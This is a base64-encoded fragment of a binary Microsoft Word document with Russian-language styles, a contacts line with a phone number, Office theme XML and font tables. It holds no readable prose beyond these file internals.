BEEEQgQ4BC4ADQADAA0ADQAEAA0ADQADAA0ADQAEAA0ADQAaBD4EPQRCBDAEOgRCBEsEOgAgACsA NwAgACgAOAAxADIAKQAgADYANAAyACAAMAA5ACAANgAzAA0ADQANAA0AAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACGFwAAiBcAAIoXAACM FwAA/QAAAAAAAAAAAAAAAP0AAAAAAAAAAAAAAAD4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAGdkYBqaAAABAAAAAywAMZBoAR+wgi4gsMZB IbClBiKwUgMjkG4EJJBuBCWwAAAXsMQCGLDEAgyQxAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAagQVABIAAQALAQ8ABwAD AAMAAwAAAAQACAAAAJgAAACeAAAAngAAAJ4AAACeAAAAngAAAJ4AAACeAAAAngAAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAAHYCAAB2AgAAdgIAAHYCAAB2AgAAdgIAAHYCAAB2 AgAAdgIAADYGAAA2BgAANgYAADYGAAA2BgAANgYAAD4CAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYA ADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAACoAAAANgYAADYGAAAWAAAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAADYGAAC4AAAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2 BgAANgYAADYGAAA2BgAAaAEAAEgBAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYA ADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2 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 jHL7sBloMv/nKubjwXRXtfSGPNt7i4boB9Mxq5ZVBQgrbAX1tOxfUYVTbrW2Y81YPL+YKQdRnLUY FvOBKIF3Skj/g/2PCp/ZryN6Q+3xbeitCD5uaGaQNpDV5+zggXSDtIt9GJzsok0mzcq6Nh2dtNey zfqMJ91c7hFna81OEu9TOjsfzlxxTi2epbNTDzu+tmvHuhoie7REYWmYHWxMYMyXteKXL96/DYFe h28II6akSSb4jiUwzNBdUwdQ/FaiIV39CwAA//8DAFBLAwQUAAYACAAAACEADdGQn7YAAAAbAQAA JwAAAHRoZW1lL3RoZW1lL19yZWxzL3RoZW1lTWFuYWdlci54bWwucmVsc4SPTQrCMBSE94J3CG9v 07oQkSbdiNCt1AOE5DUNNj8kUeztDa4sCC6HYb6ZabuXnckTYzLeMWiqGgg66ZVxmsFtuOyOQFIW TonZO2SwYIKObzftFWeRSyhNJiRSKC4xmHIOJ0qTnNCKVPmArjijj1bkIqOmQci70Ej3dX2g8ZsB fMUkvWIQe9UAGZZQmv+z/TgaiWcvHxZd/lFBc9mFBSiixszgI5uqTATKW7q6xN8AAAD//wMAUEsB Ai0AFAAGAAgAAAAhAOneD7//AAAAHAIAABMAAAAAAAAAAAAAAAAAAAAAAFtDb250ZW50X1R5cGVz XS54bWxQSwECLQAUAAYACAAAACEApdan58AAAAA2AQAACwAAAAAAAAAAAAAAAAAwAQAAX3JlbHMv LnJlbHNQSwECLQAUAAYACAAAACEAa3mWFoMAAACKAAAAHAAAAAAAAAAAAAAAAAAZAgAAdGhlbWUv dGhlbWUvdGhlbWVNYW5hZ2VyLnhtbFBLAQItABQABgAIAAAAIQClXn0txwYAANcbAAAWAAAAAAAA AAAAAAAAANYCAAB0aGVtZS90aGVtZS90aGVtZTEueG1sUEsBAi0AFAAGAAgAAAAhAA3RkJ+2AAAA GwEAACcAAAAAAAAAAAAAAAAA0QkAAHRoZW1lL3RoZW1lL19yZWxzL3RoZW1lTWFuYWdlci54bWwu cmVsc1BLBQYAAAAABQAFAF0BAADMCgAAAAA8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJV VEYtOCIgc3RhbmRhbG9uZT0ieWVzIj8+DQo8YTpjbHJNYXAgeG1sbnM6YT0iaHR0cDovL3NjaGVt YXMub3BlbnhtbGZvcm1hdHMub3JnL2RyYXdpbmdtbC8yMDA2L21haW4iIGJnMT0ibHQxIiB0eDE9 ImRrMSIgYmcyPSJsdDIiIHR4Mj0iZGsyIiBhY2NlbnQxPSJhY2NlbnQxIiBhY2NlbnQyPSJhY2Nl bnQyIiBhY2NlbnQzPSJhY2NlbnQzIiBhY2NlbnQ0PSJhY2NlbnQ0IiBhY2NlbnQ1PSJhY2NlbnQ1 IiBhY2NlbnQ2PSJhY2NlbnQ2IiBobGluaz0iaGxpbmsiIGZvbEhsaW5rPSJmb2xIbGluayIvPgAA AACXBQAAEQAAGgAABQD/////AAAAAAMAAAAGAAAABgAAAAkAAAAMAAAADAAAAAwAAAAMAAAADAAA ACoAAAAqAAAAKgAAAC0AAAAACAAAjBcAAAcAAAAACAAAhhcAAIwXAAAIAAAADAAAAA8AAPA4AAAA AAAG8BgAAAACBAAAAgAAAAEAAAABAAAAAQAAAAIAAABAAB7xEAAAAP//AAAAAP8AgICAAPcAABAA DwAC8JIAAAAQAAjwCAAAAAEAAAABBAAADwAD8DAAAAAPAATwKAAAAAEACfAQAAAAAAAAAAAAAAAA AAAAAAAAAAIACvAIAAAAAAQAAAUAAAAPAATwQgAAABIACvAIAAAAAQQAAAAOAABTAAvwHgAAAL8B AAAQAMsBAAAAAP8BAAAIAAQDCQAAAD8DAQABAAAAEfAEAAAAAQAAAAAAAAArAAAAOQAAALQAAADB AAAA3QAAAOoAAABCAQAATwEAAGwBAAB5AQAA8AQAAP0EAABPBQAAXAUAAGsFAABtBQAAbgUAAHAF AABxBQAAcwUAAHQFAAB2BQAAdwUAAJUFAACYBQAABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAc AAcABwACAAcAAgAHAAIABwACAAcAAgAAAAAAawUAAG0FAABuBQAAcAUAAHEFAABzBQAAdAUAAHYF AAB3BQAAlQUAAJgFAAAHAAcAAgAHAAIABwACAAcAAgAHAAIAAAAAAP8EAAAxBQAAawUAAG0FAABu BQAAcAUAAHEFAABzBQAAdAUAAHYFAAB3BQAAkwUAAJUFAACYBQAABwAFAAcABwACAAcAAgAHAAIA BwACAAUABwACAAUAAAAEAAAACAAAAOUAAAAAAAAABAAAAM9rLgBqKZcAYBqaANotvQDlWcsAAAAA AGsFAABtBQAAAAAAAAEAAAD/QAOAAQBqBQAAagUAAAAAAAABAAEAagUAAAAAAABqBQAAAAAAAAIc AAAAAAAAANECAACXBQAAiAAACAAAAACIAAASAAAAAP//AQAAAAcAVQBuAGsAbgBvAHcAbgD//wEA CAAAAAAAAAAAAAAA//8BAAAAAAD//wAAAgD//wAAAAD//wAAAgD//wAAAAAGAAAARx6QAcwAAgIG AwUEBQIDBP8qAOBBeADACQAAAAAAAAD/AQAAAAAAAFQAaQBtAGUAcwAgAE4AZQB3ACAAUgBvAG0A YQBuAAAANR6QAQIABQUBAgEHBgIFBwAAAAAAAAAQAAAAAAAAAAAAAACAAAAAAFMAeQBtAGIAbwBs AAAAMy6QAcwAAgsGBAICAgICBP8qAOBDeADACQAAAAAAAAD/AQAAAAAAAEEAcgBpAGEAbAAAADcu kAHMAAIPBQICAgQDAgT/AgDh/6wAQAkAAAAAAAAAnwEAAAAAAABDAGEAbABpAGIAcgBpAAAANS6Q AcwAAgsGBAMFBAQCBP8uAOFbYADAKQAAAAAAAAD/AQEAAAAAAFQAYQBoAG8AbQBhAAAAQRKQAQEA AgQFAwUEBgMCBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEMAYQBtAGIAcgBpAGEAIABNAGEAdABo AAAAIgAEAHEIiBgA8MQCAABoAQAAAABRnSJnUZ0iZwAAAAACAAAAAADPAAAAnAQAAAEAAgAAAAQA A5AJAAAAzwAAAJwEAAABAAIAAAAJAAAAAAAAACEDAPAQAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAKUGbgS0ALQAgYFyMAAAAAAAAAAAAAAAAAAAaQUAAGkFAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAUuDEQDw EAAIAPz9AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAhIUAAAAAAJ8P8PAAkkUAAA4wQAAP///3// //9/////f////3////9/////f////3/lWcsAAAQAADIAAAAAAAAAAAAAAAAAAAAAAAAAAAAhBAAA AAAAAAAAAAAAAAAAAAAAABAcAAAFAAAAAAAAAAAAeAAAAHgAAAAAAAAAAAAAAKAFAAAAAAAACwAA AAAAAADcAAAA//8SAAAAAAAAAAAAAAAAAAAABgB2AGkAYwB0AG8AcgAGAHYAaQBjAHQAbwByAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v8AAAYBAgAAAAAAAAAAAAAAAAAAAAAAAQAAAOCF n/L5T2gQq5EIACsns9kwAAAAHAEAAA0AAAABAAAAcAAAAAQAAAB4AAAABwAAAIgAAAAIAAAAnAAA AAkAAACsAAAAEgAAALgAAAAKAAAA2AAAAAwAAADkAAAADQAAAPAAAAAOAAAA/AAAAA8AAAAEAQAA EAAAAAwBAAATAAAAFAEAAAIAAADjBAAAHgAAAAgAAAB2aWN0b3IAAB4AAAAMAAAATm9ybWFsLmRv dG0AHgAAAAgAAAB2aWN0b3IAAB4AAAAEAAAAMgAAAB4AAAAYAAAATWljcm9zb2Z0IE9mZmljZSBX b3JkAAAAQAAAAAAAAAAAAAAAQAAAAAB298eeLc8BQAAAAAB298eeLc8BAwAAAAEAAAADAAAAzwAA AAMAAACcBAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 